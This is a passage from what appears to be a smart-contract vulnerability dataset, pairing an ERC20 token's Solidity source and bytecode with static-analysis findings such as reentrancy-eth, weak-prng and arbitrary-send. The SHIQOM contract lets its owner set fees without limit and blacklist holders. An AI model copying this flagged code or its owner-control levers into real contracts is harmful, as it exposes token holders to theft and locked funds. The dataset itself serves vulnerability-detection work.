055610c6a67016345785d8a0000600a610f0f565b835160008054604051939550919350600160a060020a039091169167016345785d8a000085900380156108fc0292909190818181858888f19350505050158015610cb8573d6000803e3d6000fd5b50610cc4828287610f26565b610ccf878784610fbd565b610ce267016345785d8a0000340361107a565b604051889067016345785d8a00009033907fa9a40dec7a304e5915d11358b968c1e8d365992abf20f82285d1df1b30c8e24c90600090a45050505050505050565b600080600080600080600080610d376109b8565b9750600188815481101515610d4857fe5b90600052602060002090600402019650866003015495508660000154945086600101549350853410151515610d7c57600080fd5b60038088018c90556002808901889055426001808b019190915560008b81526020928352604080822054600160a060020a0316808352949093529190912054348990039550919350610dd4919063ffffffff610efd16565b600160a060020a038316600090815260036020526040808220929092553381522054610e0790600163ffffffff610ee716565b336000818152600360209081526040808320949094558b82526002905291909120805473ffffffffffffffffffffffffffffffffffffffff19169091179055610e5186600a610f0f565b604051909150600160a060020a0383169082880380156108fc02916000818181858888f19350505050158015610e8b573d6000803e3d6000fd5b50610e97818686610f26565b610ea28a8a83610fbd565b610eab8361107a565b6040518b90879033907fa9a40dec7a304e5915d11358b968c1e8d365992abf20f82285d1df1b30c8e24c90600090a45050505050505050505050565b600082820183811015610ef657fe5b9392505050565b600082821115610f0957fe5b50900390565b6000808284811515610f1d57fe5b04949350505050565b6000806000610f3585856110b3565b9250600a831015610fb557309150610f5482318763ffffffff610efd16565b604051909150339082156108fc029083906000818181858888f19350505050158015610f84573d6000803e3d6000fd5b506040514290829033907ff726bfb272e9cf16c16e198805dde631674359012506bf9d0397e036804a5ef390600090a45b505050505050565b600080848015610fcf57506001548411155b1561107357600084815260026020819052604090912054600160a060020a0316925061100290849063ffffffff610f0f16565b604051909150600160a060020a0383169082156108fc029083906000818181858888f1935050505015801561103b573d6000803e3d6000fd5b506040518190600160a060020a038416907f8487b303ca40c2ba5059226ac3d69eb002815149a5e1d02d1cfaaf92eb85926090600090a35b5050505050565b60008111156110b057604051339082156108fc029083906000818181858888f19350505050158015610a6d573d6000803e3d6000fd5b50565b604080516020808201859052818301849052825180830384018152606090920192839052815160009360649392909182918401908083835b6020831061110a5780518252601f1990920191602091820191016110eb565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209250505081151561114057fe5b069392505050565b6080604051908101604052806000801916815260200160008152602001600081526020016000815250905600a165627a7a72305820b62ab98943e9d20c47ef63e2e063a67d68b210f1bda632e6784f8dd94f7209d60029 | {"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 1,984 |
0x465fbf296921e589e161695526abcbe09c48253d | /**
*Submitted for verification at Etherscan.io on 2022-04-05
*/
/*
SHIQOM Token.
Telegram: https://t.me/SHIQOMETH
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SHIQOM is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "Shina QOM";//////////////////////////
string private constant _symbol = "SHIQOM";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 7;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 0;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 13;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x821EB0358E02Dae12abB89F971828BcFeA967C08);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0x821EB0358E02Dae12abB89F971828BcFeA967C08);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 200000 * 10**9; //2%
uint256 public _maxWalletSize = 200000 * 10**9; //2%
uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051d578063dd62ed3e1461053d578063ea1644d514610583578063f2fde38b146105a357600080fd5b8063a2a957bb14610498578063a9059cbb146104b8578063bfd79284146104d8578063c3c8cd801461050857600080fd5b80638f70ccf7116100d15780638f70ccf7146104135780638f9a55c01461043357806395d89b411461044957806398a5c3151461047857600080fd5b806374010ece146103bf5780637d1db4a5146103df5780638da5cb5b146103f557600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103555780636fc3eaec1461037557806370a082311461038a578063715018a6146103aa57600080fd5b8063313ce567146102f957806349bd5a5e146103155780636b9990531461033557600080fd5b80631694505e116101a05780631694505e1461026757806318160ddd1461029f57806323b872dd146102c35780632fd689e3146102e357600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023757600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611970565b6105c3565b005b3480156101ff57600080fd5b506040805180820190915260098152685368696e6120514f4d60b81b60208201525b60405161022e9190611a35565b60405180910390f35b34801561024357600080fd5b50610257610252366004611a8a565b610662565b604051901515815260200161022e565b34801561027357600080fd5b50601454610287906001600160a01b031681565b6040516001600160a01b03909116815260200161022e565b3480156102ab57600080fd5b50662386f26fc100005b60405190815260200161022e565b3480156102cf57600080fd5b506102576102de366004611ab6565b610679565b3480156102ef57600080fd5b506102b560185481565b34801561030557600080fd5b506040516009815260200161022e565b34801561032157600080fd5b50601554610287906001600160a01b031681565b34801561034157600080fd5b506101f1610350366004611af7565b6106e2565b34801561036157600080fd5b506101f1610370366004611b24565b61072d565b34801561038157600080fd5b506101f1610775565b34801561039657600080fd5b506102b56103a5366004611af7565b6107c0565b3480156103b657600080fd5b506101f16107e2565b3480156103cb57600080fd5b506101f16103da366004611b3f565b610856565b3480156103eb57600080fd5b506102b560165481565b34801561040157600080fd5b506000546001600160a01b0316610287565b34801561041f57600080fd5b506101f161042e366004611b24565b610885565b34801561043f57600080fd5b506102b560175481565b34801561045557600080fd5b50604080518082019091526006815265534849514f4d60d01b6020820152610221565b34801561048457600080fd5b506101f1610493366004611b3f565b6108cd565b3480156104a457600080fd5b506101f16104b3366004611b58565b6108fc565b3480156104c457600080fd5b506102576104d3366004611a8a565b61093a565b3480156104e457600080fd5b506102576104f3366004611af7565b60106020526000908152604090205460ff1681565b34801561051457600080fd5b506101f1610947565b34801561052957600080fd5b506101f1610538366004611b8a565b61099b565b34801561054957600080fd5b506102b5610558366004611c0e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058f57600080fd5b506101f161059e366004611b3f565b610a3c565b3480156105af57600080fd5b506101f16105be366004611af7565b610a6b565b6000546001600160a01b031633146105f65760405162461bcd60e51b81526004016105ed90611c47565b60405180910390fd5b60005b815181101561065e5760016010600084848151811061061a5761061a611c7c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065681611ca8565b9150506105f9565b5050565b600061066f338484610b55565b5060015b92915050565b6000610686848484610c79565b6106d884336106d385604051806060016040528060288152602001611dc2602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b5565b610b55565b5060019392505050565b6000546001600160a01b0316331461070c5760405162461bcd60e51b81526004016105ed90611c47565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107575760405162461bcd60e51b81526004016105ed90611c47565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107aa57506013546001600160a01b0316336001600160a01b0316145b6107b357600080fd5b476107bd816111ef565b50565b6001600160a01b03811660009081526002602052604081205461067390611274565b6000546001600160a01b0316331461080c5760405162461bcd60e51b81526004016105ed90611c47565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108805760405162461bcd60e51b81526004016105ed90611c47565b601655565b6000546001600160a01b031633146108af5760405162461bcd60e51b81526004016105ed90611c47565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108f75760405162461bcd60e51b81526004016105ed90611c47565b601855565b6000546001600160a01b031633146109265760405162461bcd60e51b81526004016105ed90611c47565b600893909355600a91909155600955600b55565b600061066f338484610c79565b6012546001600160a01b0316336001600160a01b0316148061097c57506013546001600160a01b0316336001600160a01b0316145b61098557600080fd5b6000610990306107c0565b90506107bd816112f8565b6000546001600160a01b031633146109c55760405162461bcd60e51b81526004016105ed90611c47565b60005b82811015610a365781600560008686858181106109e7576109e7611c7c565b90506020020160208101906109fc9190611af7565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a2e81611ca8565b9150506109c8565b50505050565b6000546001600160a01b03163314610a665760405162461bcd60e51b81526004016105ed90611c47565b601755565b6000546001600160a01b03163314610a955760405162461bcd60e51b81526004016105ed90611c47565b6001600160a01b038116610afa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ed565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bb75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ed565b6001600160a01b038216610c185760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ed565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cdd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ed565b6001600160a01b038216610d3f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ed565b60008111610da15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ed565b6000546001600160a01b03848116911614801590610dcd57506000546001600160a01b03838116911614155b156110ae57601554600160a01b900460ff16610e66576000546001600160a01b03848116911614610e665760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ed565b601654811115610eb85760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ed565b6001600160a01b03831660009081526010602052604090205460ff16158015610efa57506001600160a01b03821660009081526010602052604090205460ff16155b610f525760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ed565b6015546001600160a01b03838116911614610fd75760175481610f74846107c0565b610f7e9190611cc3565b10610fd75760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ed565b6000610fe2306107c0565b601854601654919250821015908210610ffb5760165491505b8080156110125750601554600160a81b900460ff16155b801561102c57506015546001600160a01b03868116911614155b80156110415750601554600160b01b900460ff165b801561106657506001600160a01b03851660009081526005602052604090205460ff16155b801561108b57506001600160a01b03841660009081526005602052604090205460ff16155b156110ab57611099826112f8565b4780156110a9576110a9476111ef565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f057506001600160a01b03831660009081526005602052604090205460ff165b8061112257506015546001600160a01b0385811691161480159061112257506015546001600160a01b03848116911614155b1561112f575060006111a9565b6015546001600160a01b03858116911614801561115a57506014546001600160a01b03848116911614155b1561116c57600854600c55600954600d555b6015546001600160a01b03848116911614801561119757506014546001600160a01b03858116911614155b156111a957600a54600c55600b54600d555b610a3684848484611481565b600081848411156111d95760405162461bcd60e51b81526004016105ed9190611a35565b5060006111e68486611cdb565b95945050505050565b6012546001600160a01b03166108fc6112098360026114af565b6040518115909202916000818181858888f19350505050158015611231573d6000803e3d6000fd5b506013546001600160a01b03166108fc61124c8360026114af565b6040518115909202916000818181858888f1935050505015801561065e573d6000803e3d6000fd5b60006006548211156112db5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ed565b60006112e56114f1565b90506112f183826114af565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061134057611340611c7c565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139457600080fd5b505afa1580156113a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113cc9190611cf2565b816001815181106113df576113df611c7c565b6001600160a01b0392831660209182029290920101526014546114059130911684610b55565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061143e908590600090869030904290600401611d0f565b600060405180830381600087803b15801561145857600080fd5b505af115801561146c573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148e5761148e611514565b611499848484611542565b80610a3657610a36600e54600c55600f54600d55565b60006112f183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611639565b60008060006114fe611667565b909250905061150d82826114af565b9250505090565b600c541580156115245750600d54155b1561152b57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611554876116a5565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115869087611702565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b59086611744565b6001600160a01b0389166000908152600260205260409020556115d7816117a3565b6115e184836117ed565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162691815260200190565b60405180910390a3505050505050505050565b6000818361165a5760405162461bcd60e51b81526004016105ed9190611a35565b5060006111e68486611d80565b6006546000908190662386f26fc1000061168182826114af565b82101561169c57505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116c28a600c54600d54611811565b92509250925060006116d26114f1565b905060008060006116e58e878787611866565b919e509c509a509598509396509194505050505091939550919395565b60006112f183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b5565b6000806117518385611cc3565b9050838110156112f15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ed565b60006117ad6114f1565b905060006117bb83836118b6565b306000908152600260205260409020549091506117d89082611744565b30600090815260026020526040902055505050565b6006546117fa9083611702565b60065560075461180a9082611744565b6007555050565b600080808061182b606461182589896118b6565b906114af565b9050600061183e60646118258a896118b6565b90506000611856826118508b86611702565b90611702565b9992985090965090945050505050565b600080808061187588866118b6565b9050600061188388876118b6565b9050600061189188886118b6565b905060006118a3826118508686611702565b939b939a50919850919650505050505050565b6000826118c557506000610673565b60006118d18385611da2565b9050826118de8583611d80565b146112f15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ed565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107bd57600080fd5b803561196b8161194b565b919050565b6000602080838503121561198357600080fd5b823567ffffffffffffffff8082111561199b57600080fd5b818501915085601f8301126119af57600080fd5b8135818111156119c1576119c1611935565b8060051b604051601f19603f830116810181811085821117156119e6576119e6611935565b604052918252848201925083810185019188831115611a0457600080fd5b938501935b82851015611a2957611a1a85611960565b84529385019392850192611a09565b98975050505050505050565b600060208083528351808285015260005b81811015611a6257858101830151858201604001528201611a46565b81811115611a74576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9d57600080fd5b8235611aa88161194b565b946020939093013593505050565b600080600060608486031215611acb57600080fd5b8335611ad68161194b565b92506020840135611ae68161194b565b929592945050506040919091013590565b600060208284031215611b0957600080fd5b81356112f18161194b565b8035801515811461196b57600080fd5b600060208284031215611b3657600080fd5b6112f182611b14565b600060208284031215611b5157600080fd5b5035919050565b60008060008060808587031215611b6e57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9f57600080fd5b833567ffffffffffffffff80821115611bb757600080fd5b818601915086601f830112611bcb57600080fd5b813581811115611bda57600080fd5b8760208260051b8501011115611bef57600080fd5b602092830195509350611c059186019050611b14565b90509250925092565b60008060408385031215611c2157600080fd5b8235611c2c8161194b565b91506020830135611c3c8161194b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cbc57611cbc611c92565b5060010190565b60008219821115611cd657611cd6611c92565b500190565b600082821015611ced57611ced611c92565b500390565b600060208284031215611d0457600080fd5b81516112f18161194b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d5f5784516001600160a01b031683529383019391830191600101611d3a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dbc57611dbc611c92565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122025e8a7a9b32cfd281a86f1a5ef107c864b3cf4c96ff765911232615b31e4cb5d64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,985 |
0xe821694ffb7f73858b314778b81985c9ccf0594b | // SPDX-License-Identifier: UNLICENSED
//https://t.me/cultinuportal
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
